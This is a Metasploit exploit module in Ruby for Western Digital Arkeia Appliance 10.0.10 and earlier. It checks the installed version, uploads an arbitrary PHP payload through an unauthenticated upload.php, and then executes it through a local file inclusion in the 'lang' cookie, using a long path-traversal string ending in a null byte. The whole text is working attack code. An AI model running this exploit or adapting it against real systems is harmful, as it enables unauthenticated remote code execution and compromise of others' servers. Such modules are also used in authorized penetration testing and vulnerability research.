require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Western Digital Arkeia Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Western Digital Arkeia Appliance
version 10.0.10 and lower. By abusing the upload.php file from the scripts directory,
a malicious user can upload arbitrary code to the ApplianceUpdate file in the temp
directory without any authentication. Abusing the local file inclusion in the lang
cookie to parse this file, results in arbitrary code execution, also without any
authentication. The module has been tested successfully on Arkeia 10.0.10. The issues
have been fixed in version 10.1.10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>'
],
'References' =>
[
['EDB', '28330']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Western Digital Arkeia Appliance 10.0.10', {}]
],
'Privileged' => false,
'DisclosureDate' => "Sep 16 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the Arkeia Appliance', '/'])
], self.class)
end
def uri
return target_uri.path
end
def peer
return "#{rhost}:#{rport}"
end
def check
print_status("#{peer} - Trying to detect installed version")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri)
})
if res and res.code == 200 and res.body =~ /v(\d+\.\d+\.\d+)/
version = $1
else
return Exploit::CheckCode::Unknown
end
print_status("#{peer} - Version #{version} detected")
if version > "10.0.10"
return Exploit::CheckCode::Safe
end
print_status("#{peer} - Trying to detect the vulnerable component")
res = send_request_cgi({
'method' => 'GET',
'headers' => { 'Cookie' => "lang=fr" },
'uri' => normalize_uri(uri)
})
if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
payload_name = rand_text_alpha(rand(10) + 5)
post_data = Rex::MIME::Message.new
post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"UPLOAD\"; filename=\"#{payload_name}\"")
file = post_data.to_s
file.strip!
print_status("#{peer} - Sending PHP payload which will be uploaded to hardcoded /tmp/ApplianceUpdate")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "scripts", "upload.php"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => file
})
if not res or res.code != 200
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
end
register_files_for_cleanup("/tmp/ApplianceUpdate")
print_status("#{peer} - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate")
res = send_request_cgi({
'method' => 'GET',
'headers' => { 'Cookie' => "lang=../../../../../../../../../../../../../../../../tmp/ApplianceUpdate%00en" },
'uri' => normalize_uri(uri)
})
if res and res.code != 200
print_error("#{peer} - Unexpected response, probably the exploit failed")
end
end
end
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